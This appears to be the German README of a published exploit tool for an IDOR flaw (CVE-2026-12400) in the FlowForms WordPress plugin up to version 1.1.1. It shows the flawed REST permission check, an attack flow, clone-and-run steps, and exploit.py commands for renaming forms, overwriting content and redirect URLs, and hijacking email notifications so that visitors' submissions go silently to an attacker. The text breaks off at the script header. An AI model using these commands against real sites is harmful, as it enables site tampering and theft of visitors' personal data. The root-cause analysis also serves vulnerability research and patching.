
# Authentifizierter WordPress-IDOR-Exploit für CVE-2026-12400; listet FlowForms-REST-Formular-IDs auf und verändert Formularinhalte oder übernimmt E-Mail-Benachrichtigungen.
Authentifiziert (Contributor+) Insecure Direct Object Reference zur beliebigen Formularänderung in FlowForms ≤ 1.1.1
| Eigenschaft | Wert |
|---|---|
| CVE-ID | CVE-2026-12400 |
| CVSS-Bewertung | 4.3 — Mittel |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Autorisierungsumgehung durch benutzergesteuerten Schlüssel) |
| Produkt | FlowForms — WordPress Conversational Form Builder Plugin |
| Betroffen | Alle Versionen bis einschließlich 1.1.1 |
| Behoben in | Behoben in 1.1.2 |
| Forscher | Phantom Hat |
Vollständige White-Box-Fallstudie mit Quellcodeanalyse, Eingabeflussverfolgung und Patch-Diffing:
FlowForms stellt zwei REST-API-Endpunkte unter dem Namensraum flowforms/v1 bereit, die anfällig sind:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Beide akzeptieren eine benutzergesteuerte {id} im URL-Pfad und ändern die Daten des Zielformulars — Name, Inhalt, Layout, Weiterleitungs-URL und E-Mail-Benachrichtigungsempfänger.
Beide anfälligen Routenregistrierungen teilen denselben fehlerhaften permission_callback:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts ist eine Fähigkeit, die Contributors besitzen. Der Parameter {id} wird niemals auf den Besitz des anfordernden Benutzers überprüft — jeder authentifizierte Benutzer kann jede Formular-ID auf der Website angreifen.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Als Contributor authentifizieren
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) REST-Nonce abgreifen
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Veröffentlichte Formulare aufzählen
│<─ HTTP 200 ───────────────────────│ (jedes zugängliche Formular ist ein Ziel)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Formularnamen/-inhalt überschreiben
│ with attacker payload ─────>│ ← keine Besitzerprüfung
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) E-Mail-Benachrichtigungen kapern
│ /settings ─────────────────>│ ← Angreifer erhält alle
│<─ { "success": true } ────────────│ zukünftigen Formulareinsendungen
│ │
│ Alle 3 Angriffsvektoren bestätigt │ (5) Name ✔ Inhalt ✔ E-Mail ✔
| Modus | Endpunkt | Auswirkung |
|---|---|---|
name | /forms/{id} | Jedes Formular umbenennen — Vandalismus, Social Engineering |
content | /forms/{id} | Layout, Begrüßungs-/Dankesseiten, Weiterleitungs-URL überschreiben |
email | /forms/{id}/settings | E-Mail-Benachrichtigung kapern — still alle Formulareinsendungen erhalten |
Der email-Modus ist am kritischsten. Nach dem Kapern wird jede Einsendung des Kontaktformulars des Opfers — einschließlich personenbezogener Daten der Besucher, Nachrichten und Kontaktdaten — still an die vom Angreifer kontrollierte Adresse weitergeleitet. Der Administrator der Website sieht keinen Hinweis auf die Änderung.
Contributor auf der Zielseitegit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Jedes Formular in vom Angreifer kontrollierten Inhalt umbenennen:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Formularlayout, Bildschirme, Weiterleitungs-URL und Hintergrundbilder überschreiben:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Alle zukünftigen Benachrichtigungen über Formulareinsendungen an eine vom Angreifer kontrollierte Adresse umleiten:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Flag | Kurzform | Beschreibung | Erforderlich |
|---|---|---|---|
--url | -u | Ziel-WordPress-URL | ✅ |
--user | WordPress-Benutzername (Contributor+) | ✅ | |
--password | WordPress-Passwort | ✅ | |
--id-start | -i | Startformular-ID für die Aufzählung | ✅ |
--num-forms | -n | Anzahl der aufzuzählenden Formular-IDs | ✅ |
--exploit | Angriffsmodus: name / content / email | ✅ | |
--proxy | -p | Proxy-URL (z.B. http://127.0.0.1:8080) | ❌ |
Die JSON-Payload-Vorlagen (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) sind am Anfang des Skripts definiert. Bearbeiten Sie sie vor dem Ausführen, um den Angriffsinhalt anzupassen — ändern Sie die Benachrichtigungs-E-Mail-Adresse, die Weiterleitungs-URL, das Hintergrundbild, den Formulartitel usw.
# Top of exploit.py